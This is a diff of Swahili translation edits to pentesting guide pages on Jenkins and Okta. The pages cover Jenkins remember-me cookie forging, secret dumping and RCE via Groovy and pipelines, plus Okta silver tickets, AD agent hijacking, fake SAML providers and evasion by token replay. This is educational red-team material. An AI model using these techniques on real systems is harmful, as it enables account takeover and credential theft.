mbaya katika kumbukumbu ya ujenzi**, hati zime **fichwa** kutoka kwa matokeo ya kawaida, hivyo mwito wa `env` (Linux) au `set` (Windows), au programu zinazochapisha mazingira yao au vigezo hazitafichua katika kumbukumbu ya ujenzi** kwa watumiaji ambao vinginevyo hawangeweza kupata hati hizo. -**Ndio maana ili kuhamasisha akidi mshambuliaji anahitaji, kwa mfano, kuziweka kwenye base64.** +**Ndio maana ili kuhamasisha hati, mshambuliaji anahitaji, kwa mfano, kuzifanya kuwa base64.** -## References +## Marejeleo - [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/) - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/) diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md index 58204b264..ec3d9c204 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -16,32 +16,32 @@ Hii ni muhtasari ulioandikwa na AI wa sehemu ya chapisho ambapo ufundi wa kuki i #### Hatua ya 1: Kukusanya Data -**Ukurasa wa Taarifa za Mtumiaji** +**Kurejesha Taarifa za Mtumiaji** - Fikia usanidi wa mtumiaji na siri kutoka `$JENKINS_HOME/users/*.xml` kwa kila mtumiaji ili kukusanya: - **Jina la Mtumiaji** - **Mbegu ya Mtumiaji** -- **Muda** +- **Wakati** - **Hash ya Nywila** **Uondoaji wa Funguo za Siri** -- Ondoa funguo za kificho zinazotumika kwa ajili ya kusaini kuki: +- Ondoa funguo za kificho zinazotumika kusaini kuki: - **Funguo ya Siri:** `$JENKINS_HOME/secret.key` - **Funguo Kuu:** `$JENKINS_HOME/secrets/master.key` - **Faili ya Funguo ya MAC:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac` #### Hatua ya 2: Uundaji wa Kuki -**Maandalizi ya Tokeni** +**Maandalizi ya Token** -- **Hesabu Muda wa Kuisha wa Tokeni:** +- **Hesabu Wakati wa Kuisha wa Token:** ```javascript tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Ongeza saa moja kwa wakati wa sasa ``` -- **Unganisha Data kwa Tokeni:** +- **Unganisha Data kwa Token:** ```javascript token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey @@ -49,22 +49,22 @@ token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey **Ufunguo wa MAC** -- **Fungua Faili ya Funguo ya MAC:** +- **Fungua Faili ya MAC:** ```javascript -key = toAes128Key(masterKey) // Badilisha funguo kuu kuwa muundo wa funguo AES128 +key = toAes128Key(masterKey) // Badilisha funguo kuu kuwa muundo wa funguo za AES128 decrypted = AES.decrypt(macFile, key) // Fungua faili ya .mac if not decrypted.hasSuffix("::::MAGIC::::") return ERROR; macKey = decrypted.withoutSuffix("::::MAGIC::::") ``` -**Hesabu Saini** +**Hesabu ya Sahihi** - **Hesabu HMAC SHA256:** ```javascript -mac = HmacSHA256(token, macKey) // Hesabu HMAC kwa kutumia tokeni na funguo ya MAC +mac = HmacSHA256(token, macKey) // Hesabu HMAC kwa kutumia token na funguo ya MAC tokenSignature = bytesToHexString(mac) // Badilisha MAC kuwa mfuatano wa hexadecimal ``` @@ -82,7 +82,7 @@ username + ":" + tokenExpiryTime + ":" + tokenSignature **Uthibitishaji wa Kikao** -- **Pata CSRF na Tokeni za Kikao:** +- **Pata CSRF na Token za Kikao:** - Fanya ombi kwa `/crumbIssuer/api/json` ili kupata `Jenkins-Crumb`. - Kamata `JSESSIONID` kutoka kwa jibu, ambayo itatumika pamoja na kuki ya remember-me. diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md index f98018c19..c8fb818f3 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md @@ -3,7 +3,7 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> Kumbuka kwamba hizi skripti zitaorodhesha tu siri ndani ya faili `credentials.xml`, lakini **faili za usanidi wa ujenzi** zinaweza pia kuwa na **siri zaidi**. +> Kumbuka kwamba hizi scripts zitaorodhesha tu siri ndani ya faili `credentials.xml`, lakini **faili za usanidi wa kujenga** zinaweza pia kuwa na **siri zaidi**. Unaweza **kutoa siri zote kutoka kwenye Groovy Script console** katika `/script` ukikimbia hii code ```java diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md index b06d2f846..7bb935afe 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md @@ -1,10 +1,10 @@ -# Jenkins RCE Creating/Modifying Pipeline +# Jenkins RCE Kuunda/Kubadilisha Pipeline {{#include ../../banners/hacktricks-training.md}} ## Kuunda Pipeline Mpya -Katika "Kitu Kipya" (inapatikana katika `/view/all/newJob`) chagua **Pipeline:** +Katika "Kitu Kipya" (kinachopatikana katika `/view/all/newJob`) chagua **Pipeline:** ![](<../../images/image (235).png>) @@ -32,6 +32,6 @@ Hatimaye bonyeza **Save**, na **Build Now** na pipeline itatekelezwa: ## Kubadilisha Pipeline -Ikiwa unaweza kufikia faili ya usanidi ya pipeline fulani iliyowekwa unaweza tu **kuibadilisha kwa kuongeza shell yako ya nyuma** na kisha kuitekeleza au kusubiri hadi itekelezwe. +Ikiwa unaweza kufikia faili ya usanidi wa pipeline fulani iliyowekwa unaweza tu **kuibadilisha kwa kuongeza shell yako ya kurudi** na kisha kuitekeleza au kusubiri hadi itekelezwe. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md index 5b849c2d2..c744bcb8e 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md @@ -1,36 +1,36 @@ -# Jenkins RCE Creating/Modifying Project +# Jenkins RCE Kuunda/Kubadilisha Mradi {{#include ../../banners/hacktricks-training.md}} -## Creating a Project +## Kuunda Mradi -Hii mbinu ni kelele sana kwa sababu unahitaji kuunda mradi mpya kabisa (dhahiri hii itafanya kazi tu ikiwa mtumiaji wako anaruhusiwa kuunda mradi mpya). +Njia hii ni kelele sana kwa sababu unahitaji kuunda mradi mpya kabisa (dhahiri hii itafanya kazi tu ikiwa mtumiaji wako anaruhusiwa kuunda mradi mpya). -1. **Unda mradi mpya** (mradi wa Freestyle) kwa kubonyeza "New Item" au katika `/view/all/newJob` +1. **Unda mradi mpya** (mradi wa Freestyle) kwa kubofya "New Item" au katika `/view/all/newJob` 2. Ndani ya sehemu ya **Build** weka **Execute shell** na ubandike launcher ya powershell Empire au powershell ya meterpreter (inaweza kupatikana kwa kutumia _unicorn_). Anza payload na _PowerShell.exe_ badala ya kutumia _powershell._ -3. Bonyeza **Build now** +3. Bofya **Build now** 1. Ikiwa kitufe cha **Build now** hakionekani, bado unaweza kwenda kwenye **configure** --> **Build Triggers** --> `Build periodically` na kuweka cron ya `* * * * *` -2. Badala ya kutumia cron, unaweza kutumia config "**Trigger builds remotely**" ambapo unahitaji tu kuweka jina la api token ili kuanzisha kazi. Kisha nenda kwenye wasifu wako wa mtumiaji na **unda API token** (ita jina hili API token kama ulivyoiita api token ili kuanzisha kazi). Hatimaye, anzisha kazi hiyo kwa: **`curl :@/job//build?token=`** +2. Badala ya kutumia cron, unaweza kutumia usanidi "**Trigger builds remotely**" ambapo unahitaji tu kuweka jina la api token ili kuanzisha kazi. Kisha nenda kwenye wasifu wako wa mtumiaji na **unda API token** (ita jina hili API token kama ulivyoiita api token ili kuanzisha kazi). Hatimaye, anzisha kazi na: **`curl :@/job//build?token=`** ![](<../../images/image (165).png>) -## Modifying a Project +## Kubadilisha Mradi -Nenda kwenye miradi na angalia **kama unaweza kuunda** yoyote kati yao (tafuta "Configure button"): +Nenda kwenye miradi na angalia **kama unaweza kubadilisha yoyote** kati yao (tafuta "Configure button"): ![](<../../images/image (265).png>) -Ikiwa huwezi kuona **kitufe cha** **configuration** basi huwezi **kuunda** labda (lakini angalia miradi yote kwani unaweza kuwa na uwezo wa kuunda baadhi yao na si wengine). +Ikiwa huwezi kuona **kitufe cha** **configuration** basi huwezi **kuyabadilisha** labda (lakini angalia miradi yote kwani unaweza kuwa na uwezo wa kubadilisha baadhi yao na si wengine). Au **jaribu kufikia njia** `/job//configure` au `/me/my-views/view/all/job//configure` \_\_ katika kila mradi (mfano: `/job/Project0/configure` au `/me/my-views/view/all/job/Project0/configure`). -## Execution +## Utekelezaji -Ikiwa unaruhusiwa kuunda mradi unaweza **kufanya itekeleze amri wakati ujenzi unafanikiwa**: +Ikiwa unaruhusiwa kubadilisha mradi unaweza **kufanya itekeleze amri wakati ujenzi unafanikiwa**: ![](<../../images/image (98).png>) -Bonyeza **Save** na **ujenge** mradi na **amri yako itatekelezwa**.\ -Ikiwa hufanyi shell ya kurudi bali amri rahisi unaweza **kuona matokeo ya amri ndani ya matokeo ya ujenzi**. +Bofya **Save** na **build** mradi na **amri yako itatekelezwa**.\ +Ikiwa hutekelezi shell ya kurudi bali amri rahisi unaweza **kuona matokeo ya amri ndani ya matokeo ya ujenzi**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md index 6293ff517..0ea3e6539 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md @@ -12,13 +12,13 @@ Hii ni kimya zaidi kuliko kuunda mradi mpya katika Jenkins def process = "PowerShell.exe ".execute() println "Found text ${process.text}" ``` -You could execute a command using: `cmd.exe /c dir` +Unaweza kutekeleza amri kwa kutumia: `cmd.exe /c dir` -In **linux** you can do: **`"ls /".execute().text`** +Katika **linux** unaweza kufanya: **`"ls /".execute().text`** -If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload. +Ikiwa unahitaji kutumia _quotes_ na _single quotes_ ndani ya maandiko. Unaweza kutumia _"""PAYLOAD"""_ (triple double quotes) kutekeleza payload. -**Scripti nyingine ya groovy yenye manufaa** ni (replace \[INSERT COMMAND]): +**Script nyingine ya groovy yenye manufaa** ni (badilisha \[INSERT COMMAND]): ```python def sout = new StringBuffer(), serr = new StringBuffer() def proc = '[INSERT COMMAND]'.execute() diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md index 0f9f8730e..1588a67a2 100644 --- a/src/pentesting-ci-cd/okta-security/README.md +++ b/src/pentesting-ci-cd/okta-security/README.md @@ -4,17 +4,17 @@ ## Basic Information -[Okta, Inc.](https://www.okta.com/) inatambuliwa katika sekta ya usimamizi wa utambulisho na ufikiaji kwa ajili ya suluhisho zake za programu za wingu. Suluhisho hizi zimeundwa ili kuboresha na kulinda uthibitishaji wa watumiaji katika programu mbalimbali za kisasa. Zinahudumia si tu kampuni zinazolenga kulinda data zao nyeti bali pia waendelezaji wanaovutiwa na kuunganisha udhibiti wa utambulisho katika programu, huduma za wavuti, na vifaa. +[Okta, Inc.](https://www.okta.com/) inatambuliwa katika sekta ya usimamizi wa utambulisho na ufikiaji kwa ajili ya suluhisho zake za programu za msingi wa wingu. Suluhisho hizi zimeundwa ili kuboresha na kulinda uthibitishaji wa watumiaji katika programu mbalimbali za kisasa. Zinahudumia si tu kampuni zinazolenga kulinda data zao nyeti bali pia waendelezaji wanaovutiwa na kuunganisha udhibiti wa utambulisho katika programu, huduma za mtandao, na vifaa. Kutoa kuu kutoka Okta ni **Okta Identity Cloud**. Jukwaa hili linajumuisha seti ya bidhaa, ikiwa ni pamoja na lakini sio tu: -- **Single Sign-On (SSO)**: Inarahisisha ufikiaji wa mtumiaji kwa kuruhusu seti moja ya akisi za kuingia katika programu nyingi. +- **Single Sign-On (SSO)**: Inarahisisha ufikiaji wa mtumiaji kwa kuruhusu seti moja ya akauti za kuingia katika programu nyingi. - **Multi-Factor Authentication (MFA)**: Inaboresha usalama kwa kuhitaji aina nyingi za uthibitisho. - **Lifecycle Management**: Inafanya mchakato wa kuunda, kuboresha, na kufuta akaunti za watumiaji kuwa wa kiotomatiki. - **Universal Directory**: Inaruhusu usimamizi wa kati wa watumiaji, vikundi, na vifaa. - **API Access Management**: Inalinda na kusimamia ufikiaji wa APIs. -Huduma hizi kwa pamoja zinakusudia kuimarisha ulinzi wa data na kuboresha ufikiaji wa watumiaji, ikiongeza usalama na urahisi. Uwezo wa suluhisho za Okta unafanya kuwa chaguo maarufu katika sekta mbalimbali, zikiwa na manufaa kwa makampuni makubwa, kampuni ndogo, na waendelezaji binafsi. Kufikia sasisho la mwisho mnamo Septemba 2021, Okta inatambuliwa kama chombo muhimu katika eneo la Usimamizi wa Utambulisho na Ufikiaji (IAM). +Huduma hizi kwa pamoja zinakusudia kuimarisha ulinzi wa data na kuboresha ufikiaji wa watumiaji, kuimarisha usalama na urahisi. Uwezo wa suluhisho za Okta unafanya kuwa chaguo maarufu katika sekta mbalimbali, zikiwa na manufaa kwa makampuni makubwa, kampuni ndogo, na waendelezaji binafsi. Kufikia sasisho la mwisho mnamo Septemba 2021, Okta inatambuliwa kama chombo muhimu katika eneo la Usimamizi wa Utambulisho na Ufikiaji (IAM). > [!CAUTION] > Lengo kuu la Okta ni kuunda ufikiaji kwa watumiaji na vikundi tofauti kwa programu za nje. Ikiwa utaweza **kudhoofisha haki za msimamizi katika mazingira ya Oktas**, kuna uwezekano mkubwa wa **kudhoofisha majukwaa mengine yote ambayo kampuni inatumia**. @@ -24,14 +24,14 @@ Huduma hizi kwa pamoja zinakusudia kuimarisha ulinzi wa data na kuboresha ufikia ### Summary -Kuna **watumiaji** (ambao wanaweza **kuhifadhiwa katika Okta,** kuingia kutoka kwa **Watoa Utambulisho** waliowekwa au kuthibitishwa kupitia **Active Directory** au LDAP).\ +Kuna **watumiaji** (ambao wanaweza **kuhifadhiwa katika Okta,** kuingia kutoka **Watoa Utambulisho** waliowekwa au kuthibitishwa kupitia **Active Directory** au LDAP).\ Watumiaji hawa wanaweza kuwa ndani ya **vikundi**.\ -Kuna pia **wauthentikishaji**: chaguzi tofauti za kuthibitisha kama nywila, na 2FA kadhaa kama WebAuthn, barua pepe, simu, okta verify (zinaweza kuwa zimewezeshwa au kuzuiliwa)... +Kuna pia **wauthenticators**: chaguzi tofauti za kuthibitisha kama nywila, na 2FA kadhaa kama WebAuthn, barua pepe, simu, okta verify (zinaweza kuwa zimewezeshwa au kuzuiliwa)... -Kisha, kuna **programu** zilizounganishwa na Okta. Kila programu itakuwa na **ramani fulani na Okta** ili kushiriki habari (kama anwani za barua pepe, majina ya kwanza...). Aidha, kila programu lazima iwe ndani ya **Sera ya Uthibitishaji**, ambayo inaonyesha **wauthentikishaji wanaohitajika** kwa mtumiaji ili **kuingia** kwenye programu. +Kisha, kuna **programu** zilizounganishwa na Okta. Kila programu itakuwa na **ramani na Okta** ili kushiriki taarifa (kama anwani za barua pepe, majina ya kwanza...). Aidha, kila programu lazima iwe ndani ya **Sera ya Uthibitishaji**, ambayo inaonyesha **wauthenticators** zinazohitajika kwa mtumiaji ili **kuingia** kwenye programu. > [!CAUTION] -> Nafasi yenye nguvu zaidi ni **Super Administrator**. +> Jukumu lenye nguvu zaidi ni **Super Administrator**. > > Ikiwa mshambuliaji atakudhoofisha Okta kwa ufikiaji wa Msimamizi, programu zote **zinazoamini Okta** zitakuwa na uwezekano mkubwa wa **kudhoofishwa**. @@ -39,46 +39,46 @@ Kisha, kuna **programu** zilizounganishwa na Okta. Kila programu itakuwa na **ra ### Locating Okta Portal -Kawaida, lango la kampuni litakuwa katika **companyname.okta.com**. Ikiwa sivyo, jaribu **mabadiliko rahisi** ya **companyname.** Ikiwa huwezi kulipata, pia inawezekana kwamba shirika lina rekodi ya **CNAME** kama **`okta.companyname.com`** ikielekeza kwenye **Okta portal**. +Kawaida lango la kampuni litakuwa katika **companyname.okta.com**. Ikiwa sivyo, jaribu **mabadiliko rahisi** ya **companyname.** Ikiwa huwezi kulipata, pia inawezekana kwamba shirika lina rekodi ya **CNAME** kama **`okta.companyname.com`** ikielekeza kwenye **Okta portal**. ### Login in Okta via Kerberos Ikiwa **`companyname.kerberos.okta.com`** inafanya kazi, **Kerberos inatumika kwa ufikiaji wa Okta**, kawaida ikiepuka **MFA** kwa watumiaji wa **Windows**. Ili kupata watumiaji wa Okta walioidhinishwa na Kerberos katika AD, endesha **`getST.py`** na **parameta zinazofaa**. Baada ya kupata **tiketi ya mtumiaji wa AD**, **ingiza** kwenye mwenyeji aliye na udhibiti kwa kutumia zana kama Rubeus au Mimikatz, kuhakikisha **`clientname.kerberos.okta.com` iko katika eneo la "Intranet" la Chaguzi za Mtandao**. Kufikia URL maalum kunapaswa kurudisha jibu la JSON "OK", ikionyesha kukubaliwa kwa tiketi ya Kerberos, na kutoa ufikiaji wa dashibodi ya Okta. -Kudhoofisha **akaunti ya huduma ya Okta na SPN ya uwakilishi inaruhusu shambulio la Silver Ticket.** Hata hivyo, matumizi ya Okta ya **AES** kwa ajili ya usimbaji wa tiketi yanahitaji kuwa na ufunguo wa AES au nywila ya wazi. Tumia **`ticketer.py` kutengeneza tiketi kwa mtumiaji wa mwathirika** na kuisambaza kupitia kivinjari ili kuthibitisha na Okta. +Kudhoofisha **akaunti ya huduma ya Okta na SPN ya uwakilishi inaruhusu shambulio la Silver Ticket.** Hata hivyo, matumizi ya Okta ya **AES** kwa ajili ya usimbaji wa tiketi yanahitaji kuwa na ufunguo wa AES au nywila ya wazi. Tumia **`ticketer.py` kutengeneza tiketi kwa mtumiaji wa kidhulumu** na kuisambaza kupitia kivinjari ili kuthibitisha na Okta. -**Angalia shambulio katika** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** ### Hijacking Okta AD Agent -Teknolojia hii inahusisha **kupata Okta AD Agent kwenye seva**, ambayo **inasawazisha watumiaji na kushughulikia uthibitishaji**. Kwa kuchunguza na kufichua mipangilio katika **`OktaAgentService.exe.config`**, hasa AgentToken kwa kutumia **DPAPI**, mshambuliaji anaweza kwa urahisi **kukamata na kubadilisha data za uthibitishaji**. Hii inaruhusu si tu **kuangalia** na **kukamata akisi za mtumiaji** kwa wazi wakati wa mchakato wa uthibitishaji wa Okta bali pia **kujibu majaribio ya uthibitishaji**, hivyo kuruhusu ufikiaji usioidhinishwa au kutoa uthibitishaji wa ulimwengu wote kupitia Okta (kama funguo ya 'skeleton'). +Teknolojia hii inahusisha **kupata Okta AD Agent kwenye seva**, ambayo **inasawazisha watumiaji na kushughulikia uthibitishaji**. Kwa kuchunguza na kufichua mipangilio katika **`OktaAgentService.exe.config`**, hasa AgentToken kwa kutumia **DPAPI**, mshambuliaji anaweza kwa urahisi **kukamata na kubadilisha data za uthibitishaji**. Hii inaruhusu si tu **kuangalia** na **kukamata akauti za watumiaji** kwa wazi wakati wa mchakato wa uthibitishaji wa Okta bali pia **kujibu majaribio ya uthibitishaji**, hivyo kuruhusu ufikiaji usioidhinishwa au kutoa uthibitishaji wa ulimwengu wote kupitia Okta (kama funguo 'skeleton'). -**Angalia shambulio katika** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** ### Hijacking AD As an Admin -Teknolojia hii inahusisha kudhibiti Okta AD Agent kwa kwanza kupata OAuth Code, kisha kuomba token ya API. Token hiyo inahusishwa na eneo la AD, na **kiunganishi kinaitwa kuanzisha wakala wa AD wa uwongo**. Kuanzisha kunaruhusu wakala **kushughulikia majaribio ya uthibitishaji**, kukamata akisi kupitia API ya Okta. Zana za kiotomatiki zinapatikana ili kurahisisha mchakato huu, zikitoa njia rahisi ya kukamata na kushughulikia data za uthibitishaji ndani ya mazingira ya Okta. +Teknolojia hii inahusisha kudhibiti Okta AD Agent kwa kwanza kupata OAuth Code, kisha kuomba token ya API. Token hiyo inahusishwa na eneo la AD, na **kiunganishi kinaitwa kuanzisha wakala wa AD wa uwongo**. Kuanzisha kunaruhusu wakala **kushughulikia majaribio ya uthibitishaji**, kukamata akauti kupitia API ya Okta. Zana za kiotomatiki zinapatikana ili kurahisisha mchakato huu, zikitoa njia isiyo na mshono ya kukamata na kushughulikia data za uthibitishaji ndani ya mazingira ya Okta. -**Angalia shambulio katika** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** ### Okta Fake SAML Provider -**Angalia shambulio katika** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -Teknolojia hii inahusisha **kuanzisha mtoa huduma wa SAML wa uwongo**. Kwa kuunganisha Mtoa Utambulisho wa nje (IdP) ndani ya mfumo wa Okta kwa kutumia akaunti yenye mamlaka, washambuliaji wanaweza **kudhibiti IdP, wakikubali ombi lolote la uthibitishaji kwa mapenzi yao**. Mchakato huu unajumuisha kuanzisha IdP ya SAML 2.0 katika Okta, kubadilisha URL ya SSO ya IdP kwa ajili ya kuelekeza kupitia faili ya wenyeji wa ndani, kutengeneza cheti kilichojisajili, na kuunda mipangilio ya Okta ili kulinganisha na jina la mtumiaji au barua pepe. Kutekeleza hatua hizi kwa mafanikio kunaruhusu uthibitishaji kama mtumiaji yeyote wa Okta, bila kuhitaji akisi za mtumiaji binafsi, na kuongeza udhibiti wa ufikiaji kwa njia ambayo inaweza kutokewa. +Teknolojia hii inahusisha **kuanzisha mtoa huduma wa SAML wa uwongo**. Kwa kuunganisha Mtoa Utambulisho wa nje (IdP) ndani ya mfumo wa Okta kwa kutumia akaunti yenye mamlaka, washambuliaji wanaweza **kudhibiti IdP, wakikubali ombi lolote la uthibitishaji kwa hiari**. Mchakato huu unajumuisha kuanzisha IdP ya SAML 2.0 katika Okta, kubadilisha URL ya SSO ya IdP kwa ajili ya kuelekeza kupitia faili ya wenyeji wa ndani, kutengeneza cheti kilichojisajili, na kuunda mipangilio ya Okta ili kulinganisha dhidi ya jina la mtumiaji au barua pepe. Kutekeleza hatua hizi kwa mafanikio kunaruhusu uthibitishaji kama mtumiaji yeyote wa Okta, ikiepuka hitaji la akauti za mtumiaji binafsi, na kuimarisha udhibiti wa ufikiaji kwa njia isiyoonekana. ### Phishing Okta Portal with Evilgnix -Katika [**hiki kipande cha blogi**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) inaelezwa jinsi ya kuandaa kampeni ya phishing dhidi ya lango la Okta. +Katika [**hiki kipande cha blog**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) kinaelezewa jinsi ya kuandaa kampeni ya uvuvi dhidi ya lango la Okta. ### Colleague Impersonation Attack -**Sifa ambazo kila mtumiaji anaweza kuwa nazo na kubadilisha** (kama barua pepe au jina la kwanza) zinaweza kuundwa katika Okta. Ikiwa **programu** inakubali kama ID **sifa** ambayo mtumiaji anaweza **kubadilisha**, ataweza **kujifanya kuwa watumiaji wengine katika jukwaa hilo**. +**sifa ambazo kila mtumiaji anaweza kuwa nazo na kubadilisha** (kama barua pepe au jina la kwanza) zinaweza kuundwa katika Okta. Ikiwa **programu** inakubali kama ID **sifa** ambayo mtumiaji anaweza **kubadilisha**, ataweza **kujifanya kuwa watumiaji wengine katika jukwaa hilo**. -Hivyo basi, ikiwa programu inakubali uwanja wa **`userName`**, huenda usiweze kuubadilisha (kwa sababu huwezi kubadilisha uwanja huo), lakini ikiwa inakubali kwa mfano **`primaryEmail`** unaweza kuwa na uwezo wa **kuubadilisha kuwa anwani ya barua pepe ya mwenzako** na kujifanya (utahitaji kuwa na ufikiaji wa barua pepe na kukubali mabadiliko). +Hivyo, ikiwa programu inakubali uwanja **`userName`**, huenda usiweze kuubadilisha (kwa sababu kawaida huwezi kubadilisha uwanja huo), lakini ikiwa inakubali kwa mfano **`primaryEmail`** unaweza kuwa na uwezo wa **kuubadilisha kuwa anwani ya barua pepe ya mwenzako** na kujifanya (utahitaji kuwa na ufikiaji wa barua pepe na kukubali mabadiliko). -Kumbuka kwamba hii kujifanya inategemea jinsi kila programu ilivyoundwa. Ni zile tu zinazokubali uwanja uliohubadilishwa na kukubali masasisho zitakazodhuriwa.\ -Hivyo basi, programu inapaswa kuwa na uwanja huu umewezeshwa ikiwa upo: +Kumbuka kwamba hii kujifanya inategemea jinsi kila programu ilivyoundwa. Ni zile tu zinazokubali uwanja uliohubiriwa na kukubali masasisho zitakazodhuriwa.\ +Hivyo, programu inapaswa kuwa na uwanja huu umewezeshwa ikiwa upo:
@@ -88,19 +88,19 @@ Njia bora ya kujua ikiwa unaweza kujifanya kuwa mtu yeyote kwenye kila programu ## Evading behavioural detection policies -Sera za kugundua tabia katika Okta zinaweza kuwa hazijulikani hadi zipatikane, lakini **kuzipita** kunaweza kufanywa kwa **kulenga programu za Okta moja kwa moja**, kuepuka dashibodi kuu ya Okta. Kwa kutumia **token ya ufikiaji wa Okta**, rudia token hiyo kwenye **URL maalum ya Okta ya programu** badala ya ukurasa kuu wa kuingia. +Sera za kugundua tabia katika Okta zinaweza kuwa hazijulikani hadi zipatikane, lakini **kuziepuka** kunaweza kufikiwa kwa **kulenga programu za Okta moja kwa moja**, kuepuka dashibodi kuu ya Okta. Kwa kutumia **token ya ufikiaji wa Okta**, rudia token hiyo kwenye **URL maalum ya Okta ya programu** badala ya ukurasa kuu wa kuingia. Mapendekezo muhimu ni pamoja na: -- **Epuka kutumia** proxies maarufu za anonymizer na huduma za VPN unapofanya kurudiwa kwa token za ufikiaji zilizokamatwa. -- Hakikisha **nyuzi za mtumiaji zinazofanana** kati ya mteja na token za ufikiaji zilizorejeshwa. -- **Epuka kurudi token** kutoka kwa watumiaji tofauti kutoka anwani moja ya IP. -- Fanya makini unapofanya kurudi token dhidi ya dashibodi ya Okta. -- Ikiwa unajua anwani za IP za kampuni ya mwathirika, **punguza trafiki** kwa hizo IP au anuwai yao, ukizuia trafiki nyingine zote. +- **Epuka kutumia** proxies maarufu za kujificha na huduma za VPN unapofanya rudia token za ufikiaji zilizokamatwa. +- Hakikisha **mifumo ya mtumiaji inayofanana** kati ya mteja na token za ufikiaji zilizorudiwa. +- **Epuka kurudia** token kutoka kwa watumiaji tofauti kutoka anwani moja ya IP. +- Fanya makini unapofanya rudia token dhidi ya dashibodi ya Okta. +- Ikiwa unajua anwani za IP za kampuni ya kidhulumu, **punguza trafiki** kwa hizo IP au anuwai yao, ukizuia trafiki nyingine zote. ## Okta Hardening -Okta ina mipangilio mingi inayowezekana, katika ukurasa huu utapata jinsi ya kuzikagua ili ziwe salama kadri inavyowezekana: +Okta ina mipangilio mingi inayowezekana, katika ukurasa huu utaona jinsi ya kuzikagua ili ziwe salama kadri inavyowezekana: {{#ref}} okta-hardening.md diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md index e97f7d5d2..0ea6d16c1 100644 --- a/src/pentesting-ci-cd/okta-security/okta-hardening.md +++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md @@ -12,12 +12,12 @@ Kwa ukaguzi wa whitebox hakikisha kuwa hakuna "**Hatua ya mtumiaji inayosubiri** ### Groups -Hapa ndipo unapata makundi yote yaliyoanzishwa katika Okta. Ni ya kuvutia kuelewa makundi tofauti (seti ya **idhini**) ambayo yanaweza kutolewa kwa **watumiaji**.\ -Inawezekana kuona **watu walio ndani ya makundi** na **programu zilizotengwa** kwa kila kundi. +Hapa ndipo unapata makundi yote yaliyoanzishwa katika Okta. Ni muhimu kuelewa makundi tofauti (seti ya **idhini**) ambayo yanaweza kutolewa kwa **watumiaji**.\ +Inawezekana kuona **watu walio ndani ya makundi** na **programu zilizotolewa** kwa kila kundi. Kwa kweli, kundi lolote lenye jina la **admin** ni la kuvutia, hasa kundi la **Wasimamizi wa Kimataifa,** angalia wanachama kujua ni nani wanachama wenye mamlaka zaidi. -Kutoka kwa ukaguzi wa whitebox, **hakupaswi kuwa na wasimamizi wa kimataifa zaidi ya 5** (ni bora ikiwa kuna 2 au 3 tu). +Kutoka kwa ukaguzi wa whitebox, **hakupaswi kuwa na wasimamizi zaidi ya 5 wa kimataifa** (ni bora ikiwa kuna 2 au 3 tu). ### Devices @@ -25,21 +25,21 @@ Pata hapa **orodha ya vifaa vyote** vya watumiaji wote. Unaweza pia kuona 